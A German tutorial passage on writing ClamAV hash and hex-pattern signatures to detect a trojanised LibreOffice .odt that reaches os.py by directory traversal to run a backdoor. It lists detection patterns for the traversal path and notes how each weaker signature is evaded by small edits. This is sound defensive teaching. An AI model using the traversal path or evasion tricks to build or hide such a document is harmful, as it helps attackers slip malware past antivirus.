9158e2fc2f87b5ee050a279a38f6bfac:726509:Trojan.LibreOfficeMalware.A
a39979533831fbb9eac4ba6c13469b4d421fc1c7:726509:Trojan.LibreOfficeMalware.B

Beim Ausführen von ClamAV muss angegeben werden, dass die generierte Signaturdatei verwendet wird. Um die Viren mit der Datenbank namens LibreOfficeSign.hdb zu überprüfen, wird es wie folgt ausgeführt:

root@kitploit:~
user@host:~/$ clamscan -d LibreOfficeSign.hdb exploit.odt 
exploit.odt: Trojan.LibreOfficeMalware.A.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 1.46 MB
Data read: 0.69 MB (ratio 2.11:1)
Time: 0.035 sec (0 m 0 s)

Diese Art von Signaturen ist sehr anfällig dafür, dass das Antivirenprogramm bei jeder Änderung am Schadcode es nicht mehr erkennen kann. Der für die Signatur verwendete Hash, sei es md5 oder sha1, führt bei jeder Änderung auch nur eines Bits in der Datei dazu, dass es nicht als Virus erkannt wird. Wenn man einfach ein Unzip der generierten .odt durchführt und einen beliebigen Buchstaben im Text des Dokuments ändert, zum Beispiel ein a in ein A, reicht das bereits aus, um das Antivirenprogramm zu umgehen.

Wir werden nun eine etwas intelligentere Signatur erstellen, indem wir das System der dynamischen Signaturen von ClamAV nutzen. Diese Art von Signaturen müssen in einer Datei mit der Erweiterung .ndb anstelle von .hdb abgelegt werden. Das Format der Signaturen innerhalb der Datei ist zwar ähnlich wie die zuvor genannten, aber anstelle von Hashes der gesamten Datei werden Identifikatoren innerhalb der Datei verwendet. Es werden bestimmte Vergleiche von bestimmten Zeichenketten einer Datei durchgeführt, so dass, wenn diese vorhanden sind, die Datei als Malware erkannt wird.

Das Format beginnt mit dem Namen der Bedrohung, gefolgt vom Dateityp, der das Malware enthalten muss. Die Zahl 0 bedeutet, dass das Malware in jedem Dateityp vorkommen kann. 1 bedeutet, dass das Malware nur eine ausführbare EXE-Datei (32 oder 64 Bit) betrifft, 6 bedeutet, dass es nur in ausführbaren ELF-Dateien von Unix vorkommt, und 7 bedeutet, dass es sich um ASCII-Dateien handelt. Das nächste Feld gibt die Byte-Position an, ab der der Vergleich der Bytes der zu identifizierenden Zeichenkette innerhalb der Datei beginnen soll. Der Wildcard * kann verwendet werden, um anzugeben, dass die Zeichenkette an jeder beliebigen Stelle in der Datei beginnen kann. Ab dann wird die Byte-Sequenz angegeben, die die Identifizierung des Malwares ermöglicht. Die Definition der Suche besteht aus den hexadezimalen Codes, die nacheinander aufgeführt werden.

Eine Möglichkeit, die hexadezimalen Codes einer bestimmten Datei zu erhalten, ist die Verwendung des Tools sigtool, indem man die Bytes über die Standardeingabe übergibt und die direkte hexadezimale Darstellung zurückerhält, die in der Signatur verwendet werden kann. Ein ähnliches Tool ist hexdump, aber dessen Ausgabe erfordert eine gewisse Anpassung. Aus Gründen der Einfachheit wird die Signatur mit dem Tool sigtool erstellt.

Der Teil der Datei, den wir in der zweiten zu erstellenden Signatur suchen, wird etwas sehr Einfaches sein: der Pfad, der unter Verwendung des Directory Traversal bis zur Ausführung der Datei os.py gelegt wurde. Selbst wenn etwas in der Office-Datei selbst geändert wird, wird zum Ausführen des Backdoor-Codes zumindest dieser Pfad in der Datei benötigt. Zunächst werden die Zeichen in Hexadezimal mit dem folgenden Befehl ermittelt:

root@kitploit:~
user@host:~/$ echo -n "../../../../../../../../../../../usr/lib/python3.5/os.py" | sigtool --hex-dump
2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079

Es ist wichtig, im Befehl echo den Parameter -n zu verwenden, damit am Ende kein Zeilenumbruch ausgegeben wird. Das Ergebnis des Befehls sigtool ist die Suche, die als Signatur angewendet wird, damit das Antivirenprogramm die trojanisierte .odt-Datei erkennen kann.

Es kann kein bestimmter Offset für den Start der Suche definiert werden, da dies von der Struktur jedes .odt-Dokuments abhängt. Daher wird im Offset-Feld ein * gesetzt. Als Dateityp wird eine 1 definiert, damit die Suche durch das Antivirenprogramm in jedem Dateityp durchgeführt wird. Ein Name wird definiert, und die endgültige Signatur könnte ähnlich wie folgt aussehen:

root@kitploit:~
Trojan.LibreOfficeMalware.C:0:*:2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079

Die Signatur wird in der Datei LibreOfficeSign.ndb gespeichert; relevant am Dateinamen ist die Erweiterung. Erneut könnte clamav ausgeführt werden, um zu sehen, ob die generierte Signatur den Trojaner erkennt. Das Ergebnis wird ähnlich wie folgt sein:

root@kitploit:~
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt 
exploit.odt: Trojan.LibreOfficeMalware.C.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.010 sec (0 m 0 s)

Obwohl es schwieriger ist, die Erkennung durch das Antivirenprogramm mit dieser Signatur zu umgehen, reicht es nicht aus, einen beliebigen Teil des Textes des Office-Dokuments zu ändern. Man kann den Scan des Antivirenprogramms weiterhin auf relativ offensichtliche Weise umgehen, da für die Definition der Signatur eine bestimmte Anzahl von ../ verwendet wurde. Bei der Generierung des Exploits muss die Anzahl der Aufwärtsschritte relativ hoch sein, damit von jedem Pfad innerhalb von Linux aus das Root-Verzeichnis erreicht werden kann. So reicht es aus, einfach einen der ../ aus dem Pfad zu entfernen, damit der Exploit weiterhin funktioniert und die generierte Hintertür ausgeführt wird. Daher wird eine etwas erweiterte Definition von Signaturen verwendet, die die Erkennung von Malware mit regulären Ausdrücken ermöglicht, und es werden nicht zu feste Signaturen verwendet, die dazu führen, dass mit sehr einfachen Änderungen das Malware nicht erkannt wird.

Wir werden nun eine einfache Signatur verwenden, die das Malware erkennt, sobald ein Directory Traversal-Versuch festgestellt wird. Außerdem wird zu reinen Bildungszwecken der Wildcard * verwendet, der eine unbestimmte aufeinanderfolgende Anzahl von beliebigen Zeichen erlaubt. Es gibt ähnliche Wildcards wie ??, die jedes einzelne Zeichen erkennen, aber nur einmal vorkommen dürfen. Auch der Wildcard {n} kann verwendet werden, um eine Anzahl von n Bytes zu erkennen, und {-n} und {n-} um eine Anzahl von n oder weniger Bytes bzw. n oder mehr Bytes zu definieren.

Es wird der Byte-Abschnitt verwendet, der dem Directory Traversal vorausgeht und durch die Daten pythonSamples| definiert ist, die im Hexadezimalformat ermittelt werden müssen:

root@kitploit:~
user@host:~/$ echo -n "pythonSamples|" | sigtool --hex-dump
707974686f6e53616d706c65737c

Ebenfalls wird der hexadezimale Code von ../ auf die gleiche Weise ermittelt:

root@kitploit:~
user@host:~/$ echo -n "../" | sigtool --hex-dump
2e2e2f

Somit wird die Signatur, die zur Datei hinzugefügt wird, die Verkettung beider hexadezimaler Zeichensequenzen mittels eines * sein, also 707974686f6e53616d706c65737c*2e2e2f. Damit lautet die vollständige Signatur, die in der Datei LibreOfficeSign.ndb steht, wie folgt:

root@kitploit:~
Trojan.LibreOfficeMalware.D:0:*:707974686f6e53616d706c65737c*2e2e2f

Wenn man die Überprüfung durchführt, indem man einen der ../ aus jedem Hyperlink der Datei contents.xml entfernt, die .odt-Datei neu erstellt und mit dem Antivirenprogramm überprüft, wird das Ergebnis wie folgt sein:

root@kitploit:~
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt 
exploit.odt: Trojan.LibreOfficeMalware.D.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.009 sec (0 m 0 s)
Tool herunterladen